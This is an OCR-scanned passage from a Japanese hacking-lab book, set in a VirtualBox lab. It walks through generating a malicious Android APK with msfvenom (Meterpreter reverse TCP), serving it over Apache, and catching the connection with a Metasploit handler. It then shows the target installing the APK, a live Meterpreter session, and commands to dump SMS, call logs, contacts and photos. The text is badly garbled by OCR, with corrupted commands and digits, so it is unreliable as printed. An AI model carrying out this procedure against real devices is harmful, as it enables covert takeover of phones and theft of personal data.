Kali (攻撃 端末 ) 
アダ プター1 (必須 ) 
割り 当て : ホス ト オ ン リー アダ プター 
名 前 : VirtualBox Host-Only Ethernet Adapter 
IP アド レス : 10.0.0.2 ( 静 的 ) 


アダ プター2 (任意 ) 
割り 当て : NAT 
IP アド レス : 10.0.3.15 ( 動 的 ) 

Android-x86 (ター ゲッ ト 端 末 ) 

アダ プター1 (ホス ト オ ン リー アダ プター) 
割り 当て : ホス ト オ ン リー アダ プター 
名 前 : VirtualBox Host-Only Ethernet Adapter 
IP アド レス : 10.0.0.101 ( 動 的 ) 





























Android を 遠隔 操作 で きる よう に する 


① ペ イロ ー ド を 作成 する 
Kali に て 、Android 向け の ペイ ロー ド を 検索 し ます 。 


Poot@⑳ka11:<# msfvenom -1] payload | grep android 
andro1d/meterpreter/reverse httD Run a 

metePDpPeter server 1n Andro1d. Tunnel communtcat1on over HTTP 
andro1d/meterpreter/reverse_httDps NIIE 衣 

meterpreter server 1n Andro1d. Tunnel communtcat1on over HTTPS 
andrno1d/meterpreter/Preverse て CD NUIIEG ま 三 


meterpreter Sserver 1n Andro1d. Connect back stager 
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andro1d/meterpreter_reverse_ httDp (OUG'Gis 還 | 
back to attacker and spawn a Meterpreter shel1 

andro1d/meterpreter_reverse httDps Connect 。」 
back to attacker and spawn a Meterpreter shel1 

andro1d/meterpreter_ reverse CD Connect 。」 
back to the attacker and spawn a Meterpreter shel1 

andro1d/ shel1/reverse http Spawn a | 
Diped command she11 (sh) . Tunne1 communication over HTTP 

andro1d/ shel1/reverse_httDps Spawn a | 
D1ped command she11 (sh) . Tunne1 communication over HTTPS 

andro1d/ shel1/reverse tcp Spawn a 
D1ped command she11 (sh). Connect back stager 


Windows 7/10 の 遠隔 操作 で は reverse_http や reveser_ tcp と いっ た リバ ー ス 
シェ ル を 使い まし た 。 Android 向け に も 同様 の リバ ー ス シェ ル が ある こと が わか 
り ま す 。 こ こ で は シン プル な リバ ー ス シェ ル (android/meterpreter/reverse_ 
tcp ) を 採用 し ます 。 


root@ka11:<# msfvenom -Dp android/meterpreter/reverse tcp 。! 
LHOST=19.9.9.2 -o /root/Desktop/ evi」 . apk 

[ - ] No platform was selected, choosing Msf: :Module: :P1atform: :-」 
Android from the payload 

| -] No arch selected, selecting arch: dalvik from the pay1oad 
No encoder or badchars specified, Outputt1ng raw payload 
Payload size: 19979 bytes 

Saved as: /root/Desktop/ ev . apk 


デス クト ッ プ に "evillapk ファ イル が 出力 され まし た 。 


〈② ペイ ロー ド を 外部 か ら ア クセ ス で きる よう に する 
外部 か ら ア クセ ス で きる 場所 に "evilapk' ファ イル を 置き ます 。 
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POot⑳Kka11:< 昔 CD /Poot/Desktop/ ev11 .apk /var/www/htm1/share/ 
Poot⑳ka11:<# 1S /Var/www/htm1/ share/evil .apk 
/var/www/ htm1/ share/evi1 .apk 

POot⑳Kka11 :< 井 SePV1Ce apache2 start 


(3③⑬③ リ バー スシ ェ ル を 待ち 受け る 
Kali に て リバ ー ス シェ ル の 接続 を 待ち 受け ます 。 


POot⑳ka11:< 井 msS 和 COnsole 
( 略 ) 
mS 千 > uSe exDlo1t/mult1/handler 
msf exp1o1it(mu1t1i/hand1er) > set pay1oad android/meterpreter/。! 
PeVerSse て t て CD 
payload => andro1d/meterpreter/reverse tCD 
ms 和 † expl1o1 て (multi/handler) > set LHOST 19.9.9.2 
LHOST => 19.9.9.2 
ms 和 † exp1o1 て (multi/handler) > show options 
( 略 ) 


ms 和 † exp1o1 て (multi/handler) > exploit で 四 だ 編 M 湖 き 記 





[|*] Started reverse TCP handler on 19.9.9.2:4444 
(待ち 受け 状態 に な る ) 
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(〈④ ペ イロ ー ド を イン スト ー ル する 
Android 側 に て 、|Settings」 アイ コン > |Apps」 > 「Chrome」 を 選択 し ます 。 
Permissions を タッ プ し て 、Storage を ON に し ます ( 図 24) 。 





机 | Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox 一 口 XX 
プア イル 仮想 マシ ヤツ 表示 入力 テル 【 イ ス へ ハル ルプ 
<% 自 3:45 


を と Apppermissions 


( Chrome 


Camera 
Contacts 
Location 
Microphone 


Storade 








圏 の 踊 部 占 較 凍 較 ② 回 clr al 


24 Storage の Permissions を ON に する 
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ホー ム 画 面 の Chrome アイ コン を タッ プ し て 、Chrome を 起動 し ます 。URL 欄 に 
http://10.0.02/share を 入力 し ます 。 日 本 語 キ ー ボ ー ド だ と 記 号 (例え ば |:| な ど ) 
の 入力 に て 、 キ ー に 刻印 され て いる も の と 違う も の が 入力 され ます 。 書籍 の 巻末 
付録 の 「 日 本 語 レ イア ウト と 英語 レイ アウ ト の 対応 表 ] を 参考 に する か 、 ス クリ ー 
ン ギ キー ボー ド で 人 りり し ます 。 血 面 有 用 上 の キー ボー ドア イ ヨ ン ぞ タッ ノ し て 、 ス スク 
リー ン キ ー ボ ー ド を ON に する と 、 表 示さ れ ま す 。 

する と 、「Inmdex of] が 表示 され 、'evilapk ファ イル が 見 えま す 。 フ ァイル の リ 
ンク を クリ ッ ク ず すず る と 、 グ ウン ロー ド す る か どう か の 通知 メッ セー ジ が 表示 きれ 
ます 。 [OK] ボタ ン を 押し て 、 ダ ウゥ シロ ー ド し ます パ 図 25)。 





Ed Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox 








プア イル 仮想 マタ ヤツ 表示 入力 テバ イス ヘルプ 


円 Index of /share X 


M パ 
を ラ (と 中 10.0.0.2/share/ 六 


Index of /share 


Name Lastmodified Size Description 





Parent Directory = 
較 eviLapk 2018-07-12 12:30 9.8K 





4poc れ e/2.2.33 (の eiq7 Server 7 70.0.0.2 Porr 80 


人 4 ム 、This type of file can harm your device. Do you want to keep evil.apk XX 


anyWay? 


く 〇 画 








大 り 踊 本 自 固 曽 科 回 clr ai 
図 25 ダウ ン ロ ー ド 確認 の 通知 メッ セー ジ 
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ダウ ン ロ ー ド が 完了 する と 、 通知 さ れ ま す 。 通知 を タッ プ し ます ( 図 26)。 通 知 
が 消え て し まっ た 場合 は 、 上 部 を タッ プ す る と 通知 画面 を 出せ ます 。 


回 Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox 
アイル 仮想 マヤ タツ 表示 入力 テ 條 イス へ ルプ 


4:05 AM・ Thu, Jul 12 


キ Download Manader 


evilapk 
Download complete. 


1 り 目 ゴト ずい 上 





回 の 中 可 占 還 画 億 ② 回 cir ah 


図 26 ダウ ン ロ ー ド の 完了 通知 
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し か し 、 セ キュ リティ の 謎 定 に より 、 不 明 な 声 所 から ダウ ン ロ ー ド し だ ファイ 
小 全 オ ンズ トー ル で き 0 いる いう グ イア ログ ノ が まま され ル ま す 。 そそ です 
[SETTINGS] ボタ ン を 押し て 、Security 画面 を 表示 し ます 。 | Unknown sources」 
を ON に し て 、 不明 な 場所 か ら 入 手 し た apk ファ イル を 実行 で きる よう に し ます 。 

アプ ブリ 一 覧 か ら Downloads アイ コン を タッ プ し ます C10)。 ダ ウン ロー ド 済 み 
の "evilapk' ファ イル が 見 えま す ( 図 27)。 


回 Android-xge v7.1 [実行 中 ] - Oracle VM VirtualBox 


プイ ル 仮想 マシ ヤツ 表示 入力 テバ イス へ ヘルプ 














IoOlleEte に 1 


了 Images 
咽 Videos 
合 Audio 人 
(⑩① Recent 

和 


すす Downloads 








較 ⑨ 喝 部 占 還 硬 全 ② 回 cr at 


図 2Z ダウ ン ロ ー ド し た ファ イル 一 覧 


*10 : Downloads ア プリ が 見 つか ら な けれ ば 、Chrome の ダウ ン ロ ー ド マネ ー ジ ャ ー を 探し ます 。 
また 、 "evilapk' ファ イル を ダウ ン ロ ー ド し 直し て も よい で し ょ う 。 そ の 際 、 上 書き する か どう か 
を 聞か れ ま す 。 
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'evllapk ファ イル を ダブ ル タ ッ プ す る と 、MainActivity と いう ダイ アロ グ が 表 
示さ れ ま す 。NEXT を 押す と 、 INSTALL に 切り 奉 わ る の で 、 続け て 押す と イン ス 
トー ル が 完了 し ます ( 図 28)。 


旨 Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox 
プイ ル 仮想 マタ ツ 表示 入力 テ 條 イス へ ルプ 


昌 MainActivity 


Do you want to install this application? It will get access 
to: 


modify system settings 
take pictures and videos 


modify your contacts 
read your contacts 


accesSs approximate location (network-based) 
acceSS precise location (GPS and network-based) 


record audio 


directly call phone numbers 
飼 this may cost you money 
read call log 

read phone status and identity 
write call log 


CANCEL NEXT 





9 区 本 占 固 画 身 ② 加 cir at 


図 28 イン スト ー ル 確認 ダイ アロ グ 


⑤ ペ イロ ー ド を 実行 する 

イン スト ー ル 直後 の ダグ ダイ アロ グ の Open を 押す か 、 MainActivity アイ コン (アプ 
リー 覧 に ある ) を タッ プ す る と 、 ペイ ロー ド が 実行 され ます 。Android で は 何 も 反 
応 が な いよ うに 見 えま す 。 一 方 、 Kali で は Meterpreter の セッ ショ ン が 確立 され て 
いま す ( 図 29) 。 
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ms 千 exDl1o1 て (multi/hand1er ) > exp1o1t 


[|*] Started reverse TCP handler on 19.9.9.2:4444 
|*] Sending stage (79525 bytes ) to 19.9.9.191 





これ が Android の TP アド レス で ある 。 


[*] Meterpreter session 1 opened (19.9.9.2:4444 -> | 
19.9.9.191 :45789 ) at 2918-97-12 13:19:14 +9999 


meterpreter > getu1d 

SePVer uSername: u の 9 _a69 

meterpPeter > SsyS1nT†O 

Computer ・ localhost 

0S : Android 7.1.2 - Linux 4.9.95-android-x86_64-。! 
gd25a822a6c78 (x86_64) 

Meterpreter : dalvik/andro1d 

metePDpPeter > Dwd 

/data/user/9/ com .metasplo1t . stage/†1les 

meterpreter > cd /sdcard/Download 

meterpreter > 1s この ディ レク トリ に ダウ ン ロ ー ド し た ファ イル が 格納 され て いる 。 
Listing: /Sstorage/ emulated/9/Download 





Mode S1ze Type Last modified Name 


199666/FPwW-Pw-Pw- 19979 †1] 2918-97-12 94:94:25 +9999 evil .apk 
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root@⑥kali: < る ⑳B 人 9 
File Edit View Search Terminal Help 
Paytoad options (andro1d/meterDreter/reverse tCD) : 


ME Current Sett1ing Required Descr1pt1on 
The tisten address (an nterface may be spe 
中 邊 下 上 10 8 
LPORT 4444 The Listen port 
ExpLo1t tarqet: 


Td Name 


0 Witdcard Tarqet 


ImsT expLoit( ) > expLoit 


Started reverse TCP handtLer on 10.0.9.2:4444 

Sendindg staqge (79525 bytes) to 19.0.0.1091 

Meterpreter session 1 opened (10.0.0.2:4444 -> 190.0.9.101:45789) at 2018-67 - 
1P 作 たすき に よき し に 0 に 10) 








meterpreter > 四 


図 29 Android に 侵入 し た と ころ 


例え ば 、"/sdcard/DCIM に は デジ カメ で 撮影 し た ファ イル が あり ます 。 
download コマ ンド で 画像 ファ イル を ダウ ン ロ ー ド で きま す 。 


⑥ Android 向け の コマ ンド を 試す 
例え ば 、 Meterpreter に は 次 の よう な Android 端末 向け の コマ ンド が 用 意 さ れ て 
いま す 。 


* dump_sms : SMS メ ッ セ ー ジ を ダン プ す る 。 
・dump_calllog : 通話 履歴 を ダン プ す る 。 
・dump_contacts : 連絡 帳 を ダン プ す る 。 


他 に も 位置 情報 を 取得 し た り 、SMS を 送信 し た りす る コマ ンド も 用 意 さ れ て い 
ます 。 詳細 は help コマ ンド で 確認 し て くだ さい 。 
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